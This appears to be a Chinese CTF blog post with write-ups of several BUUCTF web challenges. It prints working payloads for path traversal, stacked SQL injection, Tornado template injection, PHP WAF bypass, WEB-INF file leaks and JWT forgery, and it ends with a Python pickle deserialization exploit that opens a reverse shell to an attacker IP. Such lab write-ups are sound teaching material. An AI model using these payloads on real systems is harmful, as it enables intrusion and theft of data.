

# BUUCTF平台web writeup

原创

[a370793934](#) 于 2019-11-28 08:59:36 发布 745 收藏 3

分类专栏: [WriteUp](#) 文章标签: [BUUCTF web writeup ctf](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/a370793934/article/details/103287013>

版权



[WriteUp](#) 专栏收录该内容

20 篇文章 2 订阅

订阅专栏

## [HCTF 2018]WarmUp

首先f12查看源码, 发现一个hint:

于是访问source.php, 得到审计的源代码:

```
<?php
highlight_file(__FILE__);

class emmm
{
    public static function checkFile(&$page)
    /*
    传入了变量page, 也就是我们刚刚传进来的file
    */
    {
        // 这里定义了白名单
        $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
        if (! isset($page) || !is_string($page)) {
            /*2
            为了返回 true 两个条件必须满足
                1 page存在
                2 page是字符串 ,
            这里和外层的判断file 一致基本是再次判断了一遍
            */
            echo "you can't see it";
```

```
return false;
```

```
}
```

```
/*3
```

`in_array(search,array,type)` 函数搜索数组中是否存在指定的值，

白名单过滤，需要返回了ture

所以这里我们传入的page或者是经过截断之后的page必须是source.php或hint.php，

这里是正常的访问，我们需要构造文件任意包含，所以这里传入的不满足条件，这里不是注意的点，往下看

```
*/
```

```
if (in_array($page, $whitelist)) {
```

```
    return true;
```

```
}
```

```
/*
```

这里`mb_substr` 是个截断，返回0到`mb_strpos`之间的内容，而`mb_strps` 则是查找第一次出现的位置，

所以基本可以理解为获取page 两个? 之间的字符串，

也就是获取file两个? 之间的字符串，

放到url中就是http://ip/?file=ddd?中的file=ddd

```
*/
```

```
$_page = mb_substr(
```

```
    $page,
```

```
    0,
```

```
    mb_strpos($page . '?', '?')
```

```
);
```

```
if (in_array($_page, $whitelist)) {
```

```
// 6 这里和上面类似 查看_page 是否在白名单中
```

```
    return true;
```

```
}
```

```
$_page = urldecode($page); // 这里发现对_page进行了一次decode解码，
```

```
$_page = mb_substr(//获取两个?? 之间的内容
```

```

    $_page,
    0,
    mb_strpos($_page . '?', '?')
);
// 这里是我们要绕过的点，从这里往上看 尝试构造
if (in_array($_page, $whitelist)) { //白名单
    return true;
}
echo "you can't see it";
return false;
}
}
/*1

```

必须满足if条件，才能包含file，这里也可以猜到可能考的是文件包含：

1 REQUEST['file']不为空

2 REQUEST['file']是字符串

3 checkFile(\$\_REQUEST['file']) 为ture，回到checkFile 函数分析如何返回true

```

*/
if (! empty($_REQUEST['file'])
    && is_string($_REQUEST['file'])
    && emmm::checkFile($_REQUEST['file'])
){
    include $_REQUEST['file'];
    exit;
} else {
    echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

```

又发现了一个hint.php文件，访问后的确有一个hint，提示我们flag在fffflllaaaagggg文件中：

回过头继续看代码，其中有几个函数：

mb\_strpos(\$string, \$a): 查找字符串a在字符串string中首次出现的位置，起始位置以0开始；

mb\_substr(\$string, \$start, \$end): 在字符串string中截取以start开始，以end结尾的子串；

通读代码后我们发现，如果想要得到ffffllllaaaagggg文件的内容，需要让\*\*\$\_REQUEST['file']\*\*是ffffllllaaaagggg，并且checkFile（ffffllllaaaagggg）返回true；

可以让checkFile返回true的出口一共有三个，总结起来就是：

访问的文件是source.php或者hint.php（也就是白名单里的本来就让你访问到的；

截取文件名的第一个？之前的内容，该内容必须是source.php或者hint.php

经过url解码后截取文件名的第一个？之前的内容，该内容必须是source.php或者hint.php

这里就用到了PHPMyadmin4.81的漏洞了，详细的说明看这里：

[https://blog.csdn.net/Mikasa\\_/article/details/88594749](https://blog.csdn.net/Mikasa_/article/details/88594749)

这个漏洞利用了一个性值：如果将？双重编码，经过包含时会把你包含的文件当作一个目录，也就是说，如果你写入：

hint.php%25%3F（%25%3F是?的二次编码）

那么解析时会把hint.php当作一个目录来看。

至于要向上回退多少个目录再访问ffffllllaaaagggg我还不知道为什么……（求大佬解答）只是一直尝试，回退4个以上即可成功。

于是该题的payload可以是：

<http://dd8978c5-6def-4097-8282-ff27c6c611a3.node3.buuoj.cn/?file=source.php%253f/../../../../ffffllllaaaagggg>

返回flag

flag{b7ecb77d-93a6-44fd-bda8-bf59f20ef0ce}

## [强网杯 2019]随便注

堆叠注入

1' //首先尝试的加引号，报错了

1' # //正常

1' order by 1 # //用order by 测试得到列数为2

1' union select 1,2 # //回显了过滤规则 return preg\_match("/select|update|delete|drop|insert|where|\.\/"/,\$inject);

知识点：堆叠注入

查库

```
0';show databases#
```

查表

```
0';show tables#
```

查表结构

```
0';desc words#
```

```
0';desc `1919810931114514`#
```

words表中有两列分别为'id', 'data', 1919810931114514表中有一列名为'flag'。根据列名猜测1919810931114514表中储存了flag, 同时根据刚开始时输入参数inject=1时的查询结果有两个, 猜测sql语句查询所用到的表为words, 但是由于过滤了select等关键字, 无法直接对其进行查询。

接下来就不知道怎么办了, 再看wp, 发现了一顿骚操作。

既然原sql语句是对words表中的id和data列进行查询, 那么我们将words表改成其他名字, 然后把1919810931114514表改名为words, 并将其中flag列改名为words, 再加入id列, 即可利用原语句对flag进行查询。

构造url:

最终payload

```
0';alter table words rename to word;alter table `1919810931114514` rename to words;alter table words change flag data varchar(100);alter table words add column id int(10) default 1#
```

再查询默认的1得到

```
array(2) {  
  [0]=>  
  string(42) "flag{145d7c47-5712-43f4-b676-a2dbf541627f}"  
  [1]=>  
  string(1) "1"  
}
```

## easy\_tornado

进入题目网站, 发现三个文件

首先进入第一个文件Orz.txt, 发现提示渲染函数render(), 直接将文件内容显示在网页上

再进入第二个文件hint.txt, 发现提示md5(cookie\_secret + md5(filename)), 即先将filename md5加密, 再将cookie\_secret与md5加密后的filename进行md5加密, 也就是说, 目前我们需要知道的是filename和cookie\_secret

之后, 再进入第三个文件flag.txt, 发现提示像文件名/flllllllllag,

于是考虑filename=/flllllllllag

但是提示有签名错误, 发现/error?msg=签名错误, 考虑服务端模板注入 (ssti攻击)

尝试输入/error?msg={{1}}, 确实是存在模板注入

尝试输入/error?msg={{7\*7}}, 不存在运算

orz

之后进行各种尝试与资料获取发现对于tornado框架存在附属文件handler.settings,于是尝试输入/error?msg={{handler.settings}}

发现 'cookie\_secret':

```
{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': '2ee0d4c3-663d-40fb-aa50-2ab73cae1235'}
```

于是进行前面所分析的md5加密

最后输入file?filename=/flllllllllag&signature=8dd637d380f9eea67c561ecd8d96ee02

得到flag

md5计算脚本:

```
#coding:utf-8
```

```
import hashlib
```

```
def md5value(s):
```

```
    md5 = hashlib.md5()
```

```
    md5.update(s.encode())
```

```
    return md5.hexdigest()
```

```
def mdfive2():
```

```
    filename = 'fllllllllllag'
```

```
    cookie = r"125be478-eae4-435a-998e-aabcb9bfce95"
```

```
    #print(md5value(filename))
```

```
    # print(md5value(*c].)Y!x<kr1e2_oQ(zO6Xd5D9ZKw7IPCs#4h~R-JFa3Vp8B0N>%+WgjHbvfM@[U'))
```

```
    # print("+md5value(filename))
```

```
    print(md5value(cookie + md5value(filename)))#hints md5(cookie_secret+md5(filename))
```

```
mdfive2()
```

```
/fllllllllllag
```

```
flag{7e4d9c0b-fd41-429a-ab04-f0e18c0bfd69}
```

## 一、涉及知识点

### 1、堆叠注入

2、set sql\_mode=PIPES\_AS\_CONCAT;将||视为字符串的连接操作符而非或运算符

3、没有过滤\*的时候可以直接注入\*

## 二、解题方法

这道题没猜到逻辑是select \$\_POST[query] || flag from flag,

构造payload: \*,1

或者

```
1;set sql_mode=PIPES_AS_CONCAT;select 1
```

```
flag{1eb8eb21-f5f2-4d9d-ab5f-f9748e01f2a1}
```

## [RoarCTF 2019]Easy Calc1

### 1.知识点 PHP的字符串解析特性

这是别人对PHP字符串解析漏洞的理解，

我们知道PHP将查询字符串（在URL或正文中）转换为内部\$\_GET或的关联数组\$\_POST。例如：/?foo=bar变成Array([foo] => "bar")。值得注意的是，查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如，/?%20news[id%00=42会转换为Array([news\_id] => 42)。如果一个IDS/IPS或WAF中有一条规则是当news\_id参数的值是一个非数字的值则拦截，那么我们就可以用以下语句绕过：

```
/news.php?%20news[id%00=42"+AND+1=0-
```

上述PHP语句的参数%20news[id%00的值将存储到\$\_GET["news\_id"]中。

PHP需要将所有参数转换为有效的变量名，因此在解析查询字符串时，它会做两件事：

#### 1.删除空白符

#### 2.将某些字符转换为下划线（包括空格）

我的理解：

假如waf不允许num变量传递字母：

```
http://www.xxx.com/index.php?num = aaaa //显示非法输入的话
```

那么我们可以在num前加个空格：

```
http://www.xxx.com/index.php? num = aaaa
```

这样waf就找不到num这个变量了，因为现在的变量叫“ num”，而不是“num”。但php在解析的时候，会先把空格给去掉，这样我们的代码还能正常运行，还上传了非法字符。

## 1.2waf

原来waf我们是看不见的，我一直以为题里的源码，就是waf了。并且，waf并不是说，题目是用php写的，那么waf就一定是用php写的。也正因如此，这题的waf才会无法识别“num”和“num”其实是一样的。

## 1.3 scandir()

列出 参数目录 中的文件和目录，要不然我们怎么知道flag在哪。

## 2.应用

存在高危漏洞，很明显传递函数，拿flag。

首先我们要先扫根目录下的所有文件，也就是是scandir("/")，但是“/”被过滤了，所以我们用chr(47)绕过，发现flagg文件

[http://node3.buuoj.cn:28317/calc.php?num=1;var\\_dump\(scandir\(chr\(47\)\)\)](http://node3.buuoj.cn:28317/calc.php?num=1;var_dump(scandir(chr(47))))

[http://node3.buuoj.cn:28317/calc.php?](http://node3.buuoj.cn:28317/calc.php?num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))))

[num=1;var\\_dump\(file\\_get\\_contents\(chr\(47\).chr\(102\).chr\(49\).chr\(97\).chr\(103\).chr\(103\)\)\)](http://node3.buuoj.cn:28317/calc.php?num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))))

返回

```
1string(43) "flag{d0902eb4-aca8-455b-97f4-3eadc6e15b3b}"
```

## [RoarCTF 2019]Easy Java

WEB-INF/web.xml泄露

WEB-INF是Java的WEB应用的安全目录。如果想在页面中直接访问其中的文件，必须通过web.xml文件对要访问的文件进行相应映射才能访问。

/WEB-INF/web.xml：Web应用程序配置文件，描述了 servlet 和其他的应用组件配置及命名规则。

/WEB-INF/classes/：含了站点所有用的 class 文件，包括 servlet class 和非servlet class，他们不能包含在 .jar 文件中

/WEB-INF/lib/：存放web应用需要的各种JAR文件，放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件

/WEB-INF/src/：源码目录，按照包名结构放置各个java文件。

/WEB-INF/database.properties：数据库配置文件

查看源码点击发现

<http://25cf1685-703e-4436-aafb-9a303ad1d548.node3.buuoj.cn/Download?filename=help.docx>

变更请求方法下载

filename=WEB-INF/web.xml

再次变更请求方法下载

filename=WEB-INF/classes/com/wm/ctf/FlagController.class



打开发现里面有串base64加密字符串，解密得到flag

flag{16b4b558-0c20-4e72-81c8-becf93173d30}

## [CISCN2019 华北赛区 Day1 Web2]jikun

### 一、涉及知识点

#### 1、薅羊毛逻辑漏洞

可以通过抓包修改折扣等数据来购买

#### 2、jwt-cookies伪造

解析jwt:

<https://jwt.io/>

爆破密钥:

c-jwt-cracker

Python反序列化

新世界的大门!

Python反序列化漏洞的花式利用

(Python) cPickle反序列化漏洞

关于Python sec的一些简单的总结

### 二、解题方法

薅羊毛逻辑漏洞

Cookie伪造 -> JWT

python反序列化 -> 反弹shell

打开题目是这样一个页面

其实最初的题目这个募集资金的进度条是没有刷满的，注册小号刷满即可

这就是一个薅羊毛的逻辑漏洞

看最下边的提示 -> 一定要买到 lv6

翻了下前几页，没有lv6这个图片，一共有500百页

写个搜索脚本:

```
import requests
```

```
url = "http://f4ff054b-aef2-4d47-8886-c4609793ad6b.node3.buuoj.cn/"
```

```
for i in range(1,501):
```

```
    r = requests.get(url + "shop?page=" + str(i))
```

```
print(i)

if r.text.find("lv6.png") != -1:
    print("this page:"+str(i))
    break
```

查到在181页

买lv6，但是这么多钱，买不起咋办？

审计页面的HTML代码有个优惠折扣，把它改到很小

跳到了这样一个页面

关于JWT—Cookie伪造的原理请自行查阅

爆破密钥

工具：c-jwt-cracker

有个网站<https://jwt.io/>

可以在这里伪造Cookie，把用户改为admin，密钥为上边破解出来的 "1kun"

抓包改JWT的值，发现一个源码www.zip，下载下来

Admin.py中有个反序列化的点

构造反弹shell的payload:

```
#coding:utf-8
```

```
import pickle
```

```
import urllib
```

```
import os
```

```
class exp(object):
```

```
    def __reduce__(self):
```

```
        s="""python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.107",8
i"]);' """
```

```
        return os.system, (s,)
```

```
e=exp()
```

```
poc = pickle.dumps(e)
```

```
print poc
```

生成payload:

这个界面有个隐藏表单，把生成的payload URL编码放进去提交

本机(攻击机)nc监听，拿到一个shell，flag在根目录下

```
flag{86rm4mj8hukk5wbkc50c34e8h3wirs2y}
```

待续